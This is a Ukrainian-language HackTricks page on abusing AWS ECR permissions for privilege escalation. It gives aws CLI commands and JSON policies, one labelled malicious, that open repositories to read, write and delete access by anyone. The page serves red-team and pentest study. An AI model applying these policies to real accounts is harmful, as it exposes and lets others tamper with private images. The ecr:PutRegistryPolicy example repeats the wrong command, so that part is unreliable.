AWS - ECR Privesc
Reading time: 3 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
ECR
ecr:GetAuthorizationToken
,ecr:BatchGetImage
Атакуючий з ecr:GetAuthorizationToken
та ecr:BatchGetImage
може увійти в ECR та завантажити зображення.
Для отримання додаткової інформації про те, як завантажити зображення:
Потенційний вплив: Непряме підвищення привілеїв шляхом перехоплення чутливої інформації в трафіку.
ecr:GetAuthorizationToken
, ecr:BatchCheckLayerAvailability
, ecr:CompleteLayerUpload
, ecr:InitiateLayerUpload
, ecr:PutImage
, ecr:UploadLayerPart
Атакуючий з усіма цими дозволами може увійти в ECR та завантажити зображення. Це може бути корисно для підвищення привілеїв до інших середовищ, де використовуються ці зображення.
Щоб дізнатися, як завантажити нове зображення/оновити одне, перегляньте:
ecr-public:GetAuthorizationToken
, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload
, ecr-public:InitiateLayerUpload, ecr-public:PutImage
, ecr-public:UploadLayerPart
Як у попередньому розділі, але для публічних репозиторіїв.
ecr:SetRepositoryPolicy
Атакуючий з цим дозволом може змінити політику репозиторію, щоб надати собі (або навіть усім) доступ на читання/запис.
Наприклад, у цьому прикладі доступ на читання надається всім.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Зміст my-policy.json
:
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
ecr-public:SetRepositoryPolicy
Як і в попередньому розділі, але для публічних репозиторіїв.
Зловмисник може змінити політику репозиторію публічного репозиторію ECR, щоб надати несанкціонований публічний доступ або для ескалації своїх привілеїв.
bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
Потенційний вплив: Несанкціонований публічний доступ до ECR Public репозиторію, що дозволяє будь-якому користувачу завантажувати, витягувати або видаляти зображення.
ecr:PutRegistryPolicy
Зловмисник з цим дозволом може змінити політику реєстру, щоб надати собі, своєму обліковому запису (або навіть усім) доступ на читання/запис.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.